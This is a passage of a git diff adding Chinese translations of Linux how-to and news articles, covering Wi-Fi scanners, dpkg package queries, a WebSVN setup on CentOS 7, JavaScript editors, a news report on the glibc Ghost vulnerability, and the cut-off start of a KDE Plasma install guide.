的运行原理感兴趣,你可以阅读其 shell 脚本源文件(/sbin/wondershaper)。 + +### 总结 ### + +在本教程中,我介绍了两种不同的方法,来达到如何在 Linux 桌面环境中,控制每个应用或每个接口的带宽使用的目的。 这些工具的使用都很简单,都为用户提供了一个快速且容易的方式来调整或限制流量。 对于那些想更多地了解如何在 Linux 中进行速率控制的读者,请参考 [the Linux bible][7]. + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/limit-network-bandwidth-linux.html + +作者:[Dan Nanni][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://monkey.org/~marius/trickle +[2]:http://linux.cn/article-2324-1.html +[3]:http://xmodulo.com/create-desktop-shortcut-launcher-linux.html +[4]:http://lartc.org/wondershaper/ +[5]:http://lartc.org/manpages/tc.txt +[6]:http://linux.cn/article-2324-1.html +[7]:http://www.lartc.org/lartc.html diff --git a/published/201503/20150127 LinSSID--A Graphical Wi-Fi Scanner for Linux.md b/published/201503/20150127 LinSSID--A Graphical Wi-Fi Scanner for Linux.md new file mode 100644 index 0000000000..e9db8a1172 --- /dev/null +++ b/published/201503/20150127 LinSSID--A Graphical Wi-Fi Scanner for Linux.md @@ -0,0 +1,61 @@ +LinSSID:一款Linux下的图形化Wi-Fi扫描器 +================================================================================ +### 介绍 ### + +你可能知道,**LinSSID** 是一款可以用于寻找可用无线网络的图形化软件。它完全开源,用C++写成,使用了Linux wireless tools、Qt5、Qwt6.1,它在外观和功能上与**Inssider** (MS Windows 下的)相近。 + +### 安装 ### + +你可以使用源码安装,如果你使用的是基于DEB的系统比如Ubuntu和LinuxMint等等,你也可以使用PPA安装。 + +你可用从[这个][1]下载并安装LinSSID。 + +这里我门将使用PPA来安装并测试这个软件。 + +添加LinSSID的PPA并输入下面的命令安装。 + + sudo add-apt-repository ppa:wseverin/ppa + sudo apt-get update + sudo apt-get install linssid + +### 用法 ### + +安装完成之后,你可以从菜单或者unity中启动。 + +你需要输入管理员密码。 + +![Password required for iwlist scan_001](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/Password-required-for-iwlist-scan_001.png) + +这就是LinSSID的界面。 + +![LinSSID_002](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/LinSSID_002.png) + +现在选择你想要连接无线网络的网卡,比如这里是wlan0,点击Play按钮来搜寻wi-fi网络列表。 + +几秒钟之后,LinSSID就会显示wi-fi网络了。 + +![LinSSID_003](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/LinSSID_003.png) + +如你在上面的截屏中所见,LinSSID显示SSID名、MAC ID、通道、隐私、加密方式、信号和协议等等信息。当然,你可以让LinSSID显示更多的选项,比如安全设置、带宽等等。要显示这些,进入**View**菜单并选择需要的选项。同样,它显示了不同的通道中的信号随着时间信号强度的变化。最后,它可以工作在2.4Ghz和5Ghz通道上。 + +就是这样。希望这个工具对你有用。 + +干杯!! + +参考链接: + +- [LinSSID 主页][2] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linssid-graphical-wi-fi-scanner-linux/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://sourceforge.net/projects/linssid/files/ +[2]:http://sourceforge.net/projects/linssid/ diff --git a/published/201503/20150127 Windows 10 versus Linux.md b/published/201503/20150127 Windows 10 versus Linux.md new file mode 100644 index 0000000000..f0c78dfb4d --- /dev/null +++ b/published/201503/20150127 Windows 10 versus Linux.md @@ -0,0 +1,31 @@ +Windows 10 VS Linux +================================================================================ +![](https://farm4.staticflickr.com/3852/14863156322_e4edbae70e_t.jpg) + +前阵子 Windows 10 好像占据了绝大部分头条,甚至在一些Linux圈里也是一样。最具代表性的是 betanews.com 的 Brian Fagioli 说 Windows 10 已经为 Linux 桌面系统敲响了丧钟,Microsoft 如今宣布将为忠实的 Windows 用户免费提供 Windows 10,Steven J. Vaughan-Nichols 说这是一个最新的开源公司,然后 Matt Hartley 比较了 Windows 10 和 Ubuntu,Jesse Smith 从 Linux 用户的视角对 Windows 10 做出评估。 + +**Windows 10**,在 Microsoft [声明][1]说将免费提供给 Windows 7 及以上用户,这件事成为如今大家闲聊的热门话题。在 Linuxland 这里,也没有被忽视。betanews.com 的 Brian Fagioli,一个自封的 Linux 粉丝,如今这样说,“ Windows 10 把门彻底关上了。Linux 桌面元年将永远不会到来,歇歇吧。”[Fagioli解释][2]说 Microsoft 倾听了用户的抱怨而且并不只是记录一下,还更好地解决了这些问题。他说 Linux 错失了由 Windows 8 不受欢迎以及巨大失败带来的机会。然后他总结,拜 Windows 10 所赐,处于边缘地带的我们只能接受一个“破碎的梦”。 + +不过,来自闻名的 Distrowatch.com 的 Jesse Smith 说 Microsoft 并没有提供一个很明显的下载方式,不过确实可行而且它也升级了。安装程序非常简单,除了分区功能很有限甚至有点吓人。在最终启动进入 Windows 10 后,Smith说界面布局很“松散”,没有 Win7 里被很多人讨厌的大量分散注意的元素,开始菜单又回来了,取消了欢迎屏幕。据Smith所说,还有一个很类似 Ubuntu 和 Android 的新的包管理程序,不过需要 Microsoft 在线账户才可以使用。[Smith的总结][3]里有这样一条,“感觉 Windows 10 像是 Android 的早期 beta 版本,一个设计成时刻保持在线的消费者操作系统。而不像是一个我能用来完成工作的操作系统。” + +**S**mith的[完整文章][4]里比较了 Windows 10 和 Linux 的大量细节,不过 Matt Hartley 发表了一份实在的 Windows 10 vs Linux 的报告。[他说][5]两者的安装程序都很直观和简单,Windows 的双启动仍然没那么容易,Windows 默认提供了加密而 Ubuntu 只提供了配置选项。在桌面方面 Hartley 说 Windows 10 “纠结地丢弃了它 Windows 8 的根。”他觉得 Windows 10 的 Windows 商店比 Ubuntu 的漂亮很多,但是实在不喜欢通过“一切都是卡片”的方式来查看新安装的应用。Hartley这样总结,“首先是它将为大量 Windows 用户提供免费升级。这意味着大大降低了进入和升级门槛。第二,看起来 Microsoft 这次真的在全力以赴地倾听他们的用户需求了。” + +**S**teven J. Vaughan-Nichols 如今声称 Microsoft 是最新的开源公司;不仅因为它将发布 Windows 10 的免费升级,而且 Microsoft 正在从一个软件公司转型为一个软件服务公司。然后,据 Vaughan-Nichols 所说,Microsoft 需要开源来完成这次转型。从Novell/SUSE开始,他们已经致力于这一块儿好多年了。不仅如此,他们也发布过开源软件(不管什么目的)。[Vaughan-Nichols总结][6],“很多人不这么认为,但是Microsoft——就是Microsoft——已经成为一家开源公司。” + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/windows-10-versus-linux + +作者:[Susan Linton][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ostatic.com/member/susan-linton +[1]:https://news.google.com/news/section?q=microsoft+windows+10+free&ie=UTF-8&oe=UTF-8 +[2]:http://betanews.com/2015/01/25/windows-10-is-the-final-nail-in-the-coffin-for-the-linux-desktop/ +[3]:http://blowingupbits.com/2015/01/an-outsiders-perspective-on-windows-10-preview/ +[4]:http://blowingupbits.com/2015/01/an-outsiders-perspective-on-windows-10-preview/ +[5]:http://www.datamation.com/open-source/windows-vs-linux-the-2015-version-1.html +[6]:http://www.zdnet.com/article/microsoft-the-open-source-company/ diff --git a/published/201503/20150128 How To Monitor Access Point Signal Strength With wifi-linux.md b/published/201503/20150128 How To Monitor Access Point Signal Strength With wifi-linux.md new file mode 100644 index 0000000000..7a12be0642 --- /dev/null +++ b/published/201503/20150128 How To Monitor Access Point Signal Strength With wifi-linux.md @@ -0,0 +1,86 @@ +如何用wifi-linux检测AP信号强度 +================================================================================ +作为一名python极客,我喜欢在github上挖掘新的用于linux用户的python工具。今天我发现了一款用python写成的用于检测AP信号强度的工具:wifi-linux。 + +我已经在**wifi-linux**上实验了大约两个小时,并且它工作的很好但是我希望在不久的将来在作者那里看到一些单元测试,因为命令**plot**无法在我的电脑上工作,并且会导致一些问题。 + +### 什么是wifi-linux ### + +根据github上作者账号的官方的 readme.md文件, wifi-linux是一个简单的收集你周围AP的RSSI信息的python脚本,它还会画出RSSI活动图形。 + +作者说可以在该程序中可以使用plot命令绘制RSSI 活动图形,但是不幸的是,这对我不可行。wifi-linux也支持其他的命令,比如**bp** 来加入一个断点,**print**会打印一些统计和**启动开关**。 + +wifi-linux程序有下面这些依赖: + +- dbus-python +- gnuplot-py + +首先我们需要安装所有的包依赖以使它可以运行在我们的linux机器上。 + +### 安装wifi-linux需要的包 ### + +我尝试使用python包管理工具pip安装python-dbus但是失败了,因为pip会查找setup.py,但是python-dbus中没有。因此下面的命令不工作。 + + pip install dbus-python + +你可以试一下但是很有可能会在终端中出现下面的错误。 + + IOError: [Errno 2] No such file or directory: '/tmp/pip_build_oltjano/dbus-python/setup.py' + +我该怎么解决这个问题呢?很简单,用下面命令中的系统包管理工具来安装Python DBUS。 + + sudo apt-get install python-dbus + +上面的命令只有在有apt-get包管理器的机器中才可以使用,比如Debian和Ubuntu。 + +我们要安装的第二个依赖是gnuplot-py。下载并用tar解压,接着运行setup.py来安装包。 + +第一步是下载gnuplot-py。 + + wget http://prdownloads.sourceforge.net/gnuplot-py/gnuplot-py-1.8.tar.gz + +接着使用tar工具解压。 + + tar xvf gnuplot-py-1.8.tar.gz + +接着使用cd命令改变目录。 + + cd gnuplot-py-1.8 + +接着运行下面的命令在你的系统中安装gnuplot-py。 + + sudo setup.py install + +安装完成后,你就可以在你的系统中运行wifi-linux了。只需下载并用下面的命令运行脚本。 + +用下面的命令下载wifi-linux到你的机器中。 + + wget https://github.com/dixel/wifi-linux/archive/master.zip + +解压master.zip接着使用下面的命令运行list_rsssi.py脚本。 + + python list_rssi.py + +下面的截图说明wifi-linux在工作了。 + +![wifi-linux to monitor wifi signal strength](http://blog.linoxide.com/wp-content/uploads/2015/01/wifi-linux.png) + +命令**bp**用于像下面那样添加一个断点。 + +![the bp command in wifi-linux](http://blog.linoxide.com/wp-content/uploads/2015/01/wifi-linux2.png) + +命令**print**可以用于在终端上显示你机器的状态。下面就是一个例子。 + +![the print command](http://blog.linoxide.com/wp-content/uploads/2015/01/wifi-linux3.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/monitor-access-point-signal-strength-wifi-linux/ + +作者:[Oltjano Terpollari][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/oltjano/ diff --git a/published/201503/20150128 Linux Basics--How To Check If A Package Is Installed Or Not In Ubuntu.md b/published/201503/20150128 Linux Basics--How To Check If A Package Is Installed Or Not In Ubuntu.md new file mode 100644 index 0000000000..a5bdc115e2 --- /dev/null +++ b/published/201503/20150128 Linux Basics--How To Check If A Package Is Installed Or Not In Ubuntu.md @@ -0,0 +1,137 @@ +Linux 基础:如何在Ubuntu上检查一个软件包是否安装 +================================================================================ +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2014/04/ubuntu-790x558.png) + +如果你正在管理Debian或者Ubuntu服务器,你也许会经常使用**dpkg** 或者 **apt-get**命令。这两个命令用来安装、卸载和更新包。 + +在本篇中,让我们看下如何在基于DEB的系统下检查是否安装了一个包。 + +要检查特定的包,比如firefox是否安装了,使用这个命令: + + dpkg -s firefox + +示例输出: + + Package: firefox + Status: install ok installed + Priority: optional + Section: web + Installed-Size: 93339 + Maintainer: Ubuntu Mozilla Team + Architecture: amd64 + Version: 35.0+build3-0ubuntu0.14.04.2 + Replaces: kubuntu-firefox-installer + Provides: gnome-www-browser, iceweasel, www-browser + Depends: lsb-release, libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libc6 (>= 2.17), libcairo2 (>= 1.2.4), libdbus-1-3 (>= 1.0.2), libdbus-glib-1-2 (>= 0.78), libfontconfig1 (>= 2.9.0), libfreetype6 (>= 2.2.1), libgcc1 (>= 1:4.1.1), libgdk-pixbuf2.0-0 (>= 2.22.0), libglib2.0-0 (>= 2.37.3), libgtk2.0-0 (>= 2.24.0), libpango-1.0-0 (>= 1.22.0), libpangocairo-1.0-0 (>= 1.14.0), libstartup-notification0 (>= 0.8), libstdc++6 (>= 4.6), libx11-6, libxcomposite1 (>= 1:0.3-1), libxdamage1 (>= 1:1.1), libxext6, libxfixes3, libxrender1, libxt6 + Recommends: xul-ext-ubufox, libcanberra0, libdbusmenu-glib4, libdbusmenu-gtk4 + Suggests: ttf-lyx + Conffiles: + /etc/firefox/syspref.js 09e457e65435a1a043521f2bd19cd2a1 + /etc/apport/blacklist.d/firefox ee63264f847e671832d42255912ce144 + /etc/apport/native-origins.d/firefox 7c26b75c7c2b715c89cc6d85338252a4 + /etc/apparmor.d/usr.bin.firefox f54f7a43361c7ecfa3874abca2f292cf + Description: Safe and easy web browser from Mozilla + Firefox delivers safe, easy web browsing. A familiar user interface, + enhanced security features including protection from online identity theft, + and integrated search let you get the most out of the web. + Xul-Appid: {ec8030f7-c20a-464f-9b0e-13a3a9e97384} + +如上所见,firefox已经安装了。 + +同样,你可以使用**dpkg-query** 命令。这个命令会有一个更好的输出,当然,你可以用通配符。 + + dpkg-query -l firefox + +示例输出: + + Desired=Unknown/Install/Remove/Purge/Hold + | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend + |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) + ||/ Name Version Architecture Description + +++-====================================-=======================-=======================-============================================================================= + ii firefox 35.0+build3-0ubuntu0.14 amd64 Safe and easy web browser from Mozilla + +要列出你系统中安装的所有包,输入下面的命令: + + dpkg --get-selections + +示例输出: + + abiword install + abiword-common install + accountsservice install + acl install + adduser install + alsa-base install + alsa-utils install + anacron install + app-install-data install + apparmor install + . + . + . + zeitgeist install + zeitgeist-core install + zeitgeist-datahub install + zenity install + zenity-common install + zip install + zlib1g:amd64 install + zlib1g:i386 install + +上面的输出可能会非常长,这依赖于你的系统已安装的包。 + +你同样可以通过**grep**来过滤割到更精确的包。比如,我想要使用**dpkg**命令查看系统中安装的gcc包: + + dpkg --get-selections | grep gcc + +示例输出: + + gcc install + gcc-4.8 install + gcc-4.8-base:amd64 install + gcc-4.8-base:i386 install + gcc-4.9-base:amd64 install + gcc-4.9-base:i386 install + libgcc-4.8-dev:amd64 install + libgcc1:amd64 install + libgcc1:i386 install + +此外,你可以使用“**-L**”参数来找出包中文件的位置。 + + dpkg -L gcc-4.8 + +示例输出: + + /. + /usr + /usr/share + /usr/share/doc + /usr/share/doc/gcc-4.8-base + /usr/share/doc/gcc-4.8-base/README.Bugs + /usr/share/doc/gcc-4.8-base/NEWS.html + /usr/share/doc/gcc-4.8-base/quadmath + /usr/share/doc/gcc-4.8-base/quadmath/changelog.gz + /usr/share/doc/gcc-4.8-base/gcc + . + . + . + /usr/bin/x86_64-linux-gnu-gcc-4.8 + /usr/bin/x86_64-linux-gnu-gcc-ar-4.8 + /usr/bin/x86_64-linux-gnu-gcov-4.8 + +就是这样了。希望这篇对你有用。 + +美好的一天! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-basics-check-package-installed-not-ubuntu/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ diff --git a/published/201503/20150131 WordPress Can Be Used to Leverage Critical Ghost Flaw in Linux.md b/published/201503/20150131 WordPress Can Be Used to Leverage Critical Ghost Flaw in Linux.md new file mode 100644 index 0000000000..181ef5922d --- /dev/null +++ b/published/201503/20150131 WordPress Can Be Used to Leverage Critical Ghost Flaw in Linux.md @@ -0,0 +1,47 @@ +WordPress 可以触发 Linux 上的 Ghost 缺陷 +----- +*建议用户马上更新可用的补丁* + +![WordPress validating pingback’s post URL](http://i1-news.softpedia-static.com/images/news2/WordPress-Can-Be-Used-to-Leverage-Critical-Ghost-Flaw-in-Linux-471730-2.jpg) + +**这个漏洞之前由Qualys的安全研究员发现,并取了绰号叫[Ghost](1),可以利用WordPress或其他PHP应用来攻击网站服务器。** + +这个瑕疵是一个缓冲区溢出问题,可以被攻击者触发用来获取Linux主机的命令行执行权限。发生在glibc的“`__nss_hostname_digits_dots()`”函数中,它会被“gethostbyname()”函数用到。 + +###PHP应用可以用来利用这个瑕疵 + +Sucuri的Marc-Alexandre Montpas说之所以这个问题很重要是因为这些函数在大量软件和服务器系统使用。 + +“说这是个严重问题的一个例子是WordPress本身:它使用一个叫`wp_http_validate_url()`的函数来验证每个pingback的发送URL,它是通过PHP应用的“gethostbyname()”函数替代来执行的”,他在周三的一篇博客文章里写到。 + +攻击者可以用这种方式来引入一个设计用来触发服务器端漏洞的恶意URL,从而获得系统访问权限。 + +实际上,Trustwave的安全研究人员提供了[验证][2]代码,可以使用WordPress的pingback功能引起缓冲区溢出。 + +###多个Linux发行版受到影响 + +ghost漏洞存在于glibc 2.17以上版本中,发布于2013年5月21日。glibc当前版本是2.20,发布于2014年9月。 + +不过,当时并没有升级为一个安全补丁,许多发行版并没有包含进去,特别是提供长期支持(LTS)的发行版。 + +受影响的系统包括Debian 7(wheezy),Red Hat企业版Linux 6和7,CentOS 6和7,Ubuntu 12.04。幸运的是,Linux供应商已经开始发布可以减轻风险的升级补丁。建议用户马上下载并更新。 + +为了展示这个漏洞,Qualys建立了一个利用它通过Exim邮件服务器运行远程代码的试验页面。这家安全公司声称在这个漏洞丢掉半条命之前不会关闭这个页面,意思是受影响的系统的数量降到50%的水平。 + +Linux上存在漏洞的应用包括clockdiff,ping和arping(在某些特定情况下),procmail,pppd,和Exim邮件服务器。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/WordPress-Can-Be-Used-to-Leverage-Critical-Ghost-Flaw-in-Linux-471730.shtml + +本文发布时间:30 Jan 2015, 17:36 GMT + +作者:[Ionut Ilascu][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/ionut-ilascu +[1]:http://news.softpedia.com/news/Linux-Systems-Affected-by-14-year-old-Vulnerability-in-Core-Component-471428.shtml +[2]:http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html diff --git a/published/201503/20150202 How To Install Websvn for Subversion in CentOS 7.0.md b/published/201503/20150202 How To Install Websvn for Subversion in CentOS 7.0.md new file mode 100644 index 0000000000..c374f9f670 --- /dev/null +++ b/published/201503/20150202 How To Install Websvn for Subversion in CentOS 7.0.md @@ -0,0 +1,126 @@ +如何在CentOS 7.0 安装 Websvn +================================================================================ +大家好,今天我们会在CentOS 7.0 上为 subversion(SVN)安装Web 界面 WebSVN。(subverion 是 apache 的顶级项目,也称为 Apache SVN 或 SVN) + +WebSVN 将 Svbverion 的操作你的仓库的各种功能通过 Web 界面提供出来。通过它,我们可以看到任何给定版本的任何文件或者目录的日志,并且可看到所有文件改动、添加、删除的列表。我们同样可以查看两个版本间的差异来知道特定版本改动了什么。 + +### 特性 ### + +WebSVN提供了下面这些特性: + +- 易于使用的用户界面 +- 可定制的模板系统 +- 色彩化的文件列表 +- 追溯视图 +- 日志信息查询 +- RSS支持 +- [更多][1] + +由于其使用PHP写成,WebSVN同样易于移植和安装。 + +现在我们将为Subverison安装WebSVN。请确保你的服务器上已经安装了 SVN。如果你还没有安装,你可以按[本教程][2]安装。 + +安装完SVN后,你需要以下几步。 + +### 1. 下载 WebSVN ### + +你可以从官方网站 http://www.websvn.info/download/ 中下载 WebSVN。我们首先进入 /var/www/html/ 并在这里下载安装包。 + + $ sudo -s + +**请在shell或者终端中执行上面的命令,因为我们需要切换到root权限来对系统限制区域有访问权。** + + # cd /var/www/html + # wget http://websvn.tigris.org/files/documents/1380/49057/websvn-2.3.3.zip + +![downloading websvn package](http://blog.linoxide.com/wp-content/uploads/2015/01/downloading-websvn.png) + +这里,我下载的是最新的2.3.3版本的 websvn。你可以从上面这个网站找到下载链接,用适合你的包的链接来替换上面的链接。 + +### 2. 解压下载的zip ### + + # unzip websvn-2.3.3.zip + + # mv websvn-2.3.3 websvn + +![extracting websvn](http://blog.linoxide.com/wp-content/uploads/2015/01/extracting-websvn.png) + +### 3. 安装php ### + + # yum install php + +![yum install php](http://blog.linoxide.com/wp-content/uploads/2015/01/yum-install-php.png) + +### 4. 编辑WebSVN配置 ### + +现在,我们需要拷贝位于 /var/www/html/websvn/include 的 distconfig.php 为 config.php,并且接着编辑该配置文件。 + + # cd /var/www/html/websvn/include + + # cp distconfig.php config.php + + # nano config.php + +现在我们需要按如下改变文件。完成之后,请保存并退出。 + + // Configure these lines if your commands aren't on your path. + // + $config->setSVNCommandPath('/usr/bin'); // e.g. c:\\program files\\subversion\\bin + $config->setDiffPath('/usr/bin'); + + // For syntax colouring, if option enabled... + $config->setEnscriptPath('/usr/bin'); + $config->setSedPath('/bin'); + + // For delivered tarballs, if option enabled... + $config->setTarPath('/bin'); + + // For delivered GZIP'd files and tarballs, if option enabled... + $config->setGZipPath('/bin'); + + // + $config->parentPath('/svn/'); + + $extEnscript[".pl"] = "perl"; + $extEnscript[".py"] = "python"; + $extEnscript[".sql"] = "sql"; + $extEnscript[".java"] = "java"; + $extEnscript[".html"] = "html"; + $extEnscript[".xml"] = "html"; + $extEnscript[".thtml"] = "html"; + $extEnscript[".tpl"] = "html"; + $extEnscript[".sh"] = "bash"; + +![websvn config file](http://blog.linoxide.com/wp-content/uploads/2015/01/config-file-websvn.png) + +### 5. 启动 WebSVN ### + +现在,我们将近完成了。现在需要重启Apache服务。你可以用下面的命令。 + + # systemctl restart httpd.service + +接着我们在浏览器中打开WebSVN,输入 http:// IP地址/websvn ,或者你在本地的话,你可以输入 http://localhost/websvn 。 + +![websvn successfully installed](http://blog.linoxide.com/wp-content/uploads/2015/01/websvn-success.png) + +**注意**: 如果你遇到一个像"Unable to find "enscript" tool at location "/usr/bin/enscript"这样的问题,那么你需要使用“yum install enscript”安装enscript来修复这个问题。 + +### 总结 ### + +好了,我们已经在CentOS 7上完成WebSVN的安装了。这个教程同样适用于RHEL 7。WebSVN 提供了 Subverion 中的各种功能来查看你的仓库。你可以看到任何给定版本的任何文件或者目录的日志,并且看到所有文件改动、添加、删除的列表。 + +如果你有任何问题、评论、反馈请在下面的评论栏中留下,来让我们知道该添加什么和改进。谢谢! 用用看吧。:-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/install-websvn-subversion-centos-7/ + +作者:[Arun Pyasi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://www.websvn.info/features/ +[2]:http://linoxide.com/linux-how-to/install-apache-svn-subversion-centos-7/ diff --git a/published/201503/20150203 9 Best IDEs and Code Editors for JavaScript Users.md b/published/201503/20150203 9 Best IDEs and Code Editors for JavaScript Users.md new file mode 100644 index 0000000000..870e5b6888 --- /dev/null +++ b/published/201503/20150203 9 Best IDEs and Code Editors for JavaScript Users.md @@ -0,0 +1,82 @@ +9款最好的 Javacript 用户的 IDE 和代码编辑器。 +================================================================================ +网络应用设计和开发是最近一段时间的发展趋势,也有越来越多的人开始在此寻找他们的职业机会。但是,作为网络开发人员或图形设计人员来说,一个好的机会并不是每个人都能够轻易获得到的,它需要很好的思维展现,以及对于工作的熟练技巧。现在有许多可用的网站来根据你的知识帮助你找到正确的职位描述。但是如果你想要在这个领域有所成就,你仍然需要具有一些出色的技能,例如可以在不同的平台、IDE以及其他的工具上开展工作。 + +说到根据不同目的和不同语言所用到的不同平台以及IDE,只靠学习一个IDE来轻松获取项目设计最佳方案的惯例已经属于过去时了。今天我们活在一个竞争日益激烈的现代生活节奏中,对于IDE们也是相同的处境,IDE是一个用来创建和部署应用的强大的客户端应用。今天我们打算为网络设计者和开发人员分享一些最好的Javacript IDE。 + +请访问这个 javascript 用户最好的代码编辑器列表,并将你的想法与我们一起分享。 + +### 1) [Spket][1] ### + +**Spket IDE** 是 JavaScript 和 XML 开发的强大工具包。这个功能强大的编辑器可以用来进行开发 JavaScript,XUL/XBL 和 Yahoo!小组件。JavaScript 编辑器提供了例如代码补全、语法高亮以及代码内容大纲等特性,可以帮助开发者提高创建高效 JavaScript 代码的生产率。 + + +![](http://i0.wp.com/devzum.com/wp-content/uploads/2015/01/spket-e1422674329554.png) + +### 2) [Ixedit][2] ### + +IxEdit 是一个基于 Javascript 交互的网络设计工具。通过 IxEdit,设计者可以在不需要通过代码改变,添加,删除或变换页面元素的情况下,在网页上进行动态进行 DOM 脚本编写。 + +![](http://i0.wp.com/devzum.com/wp-content/uploads/2015/01/ixedit.png) + +### 3) [Komodo Edit][3] ### + +Komodo是一款免费而强大的编辑器,可以用来编辑JavaScript和其他的编程语言。 +![](http://i2.wp.com/devzum.com/wp-content/uploads/2015/01/komodo-edit-e1422674596277.png) + +### 4) [EpicEditor][4] ### + +EpicEditor是一个可嵌入的 JavaScript Markdown 编辑器,具有分割全屏进行编辑,实时预览,自动草稿保存,离线支持等特性。对于开发人员,它提供了健壮的API,可以容易地设置主题,并允许你以任何其他的事物来替换绑定的 Markdown 解析器。 + +![](http://i1.wp.com/devzum.com/wp-content/uploads/2015/01/epiceditor-e1422674732281.png) + +### 5) [codepress][5] ### + +CodePress是一个基于网络的源代码编辑器,它用 JavaScript 编写,具有语法高亮,并且是在你将代码输入到浏览器后实时进行文本颜色渲染。 + +![](http://i1.wp.com/devzum.com/wp-content/uploads/2015/01/codepres-e1422674893706.png) + +### 6) [ACe][6] ### + +Ace 是一个使用JavaScript编写的嵌入式代码编辑器,它能够匹配宿主编辑器的特性和性能,例如Sublime,Vim和Textate。它能够容易地嵌入到任何的网页和JavaScript应用中。 + +![](http://i0.wp.com/devzum.com/wp-content/uploads/2015/01/ace-e1422675089912.png) + +### 7) [scripted][7] ### + +Scripted是一个快速的轻量级代码编辑器,最初是为了JavaScript编写实现的。 Scripted是一个基于浏览器的编辑器,而编辑器本身有本地运行的Node.js服务器实例来提供服务支持。 + +![](http://i1.wp.com/devzum.com/wp-content/uploads/2015/01/scripted-e1422675188408.png) + +### 8) [Netbeans][8] ### + +这是另外的一个更加震撼而且有用的编辑器,可以用来编写javascript和其他的编程语言。 + +![](http://i1.wp.com/devzum.com/wp-content/uploads/2015/01/code_editing1-e1422675506226.png) + +### 9) [Webstorm][9] ### + +这是最智能的JavaScript IDE。 它是为使用Node.js进行复杂的客户端开发和服务器端开发而装备的一个轻巧而强大的完美IDE。 + +![](http://i0.wp.com/devzum.com/wp-content/uploads/2015/01/webstorm.png) + +-------------------------------------------------------------------------------- + +via: http://devzum.com/2015/01/31/9-best-ides-and-code-editors-for-javascript-users/ + +作者:[vikas][a] +译者:[theo-l](https://github.com/theo-l) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://devzum.com/author/vikas/ +[1]:http://spket.com/ +[2]:http://www.ixedit.com/ +[3]:http://komodoide.com/komodo-edit/ +[4]:http://oscargodson.github.io/EpicEditor/ +[5]:http://codepress.sourceforge.net/ +[6]:http://ace.c9.io/#nav=about +[7]:https://github.com/scripted-editor/scripted +[8]:https://netbeans.org/ +[9]:http://www.jetbrains.com/webstorm/ diff --git a/published/201503/20150203 How To Install KDE Plasma 5.2 In Ubuntu 14.10.md b/published/201503/20150203 How To Install KDE Plasma 5.2 In Ubuntu 14.10.md new file mode 100644 index 0000000000..28a49ca44e --- /dev/null +++ b/published/201503/20150203 How To Install KDE Plasma 5.2 In Ubuntu 14.10.md @@ -0,0 +1,60 @@ +如何在Ubuntu 14.10 上安装KDE Plasma 5.2 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Plasma_Ubuntu_1410.jpg) + +[KDE][1] Plasma 5.2已经[发布][2]一段时间了,在本篇中我们将看到如何在Ubuntu 14.10 上安装KDE Plasma 5.2。 + +Ubuntu的默认桌面环境Unity很漂亮还有很多特性,但是如果你问任何有经验的Linux用户关于桌面定制能力,他的回答将是KDE。KDE在定制上是王者并且它得到流行大概是由于Ubuntu有官方的KDE版本,也就是Kubuntu[3]。 + +对于Ubuntu(或者任何其他的Linux系统)而言的一个好消息是它们没有绑定在任何特定的桌面环境上,你可以安装额外的桌面环境并在不同的桌面环境间切换。早先我们已经了解如下的桌面环境的安装。 + +- [如何在Ubuntu 14.04中安装Mate桌面][4] +- [如何在Ubuntu 14.04中安装Cinnamon桌面][5] +- [如何在Ubuntu 14.04中安装Budgie桌面][6] +- [如何在Ubuntu 14.04中安装Gnome Shell][7] + +今天我们要展示如何在Ubuntu 14.10 中如何安装KDE Plasma。 + +### 如何在Ubuntu 14.10 上安装KDE Plasma 5.2 ### + +在Ubuntu 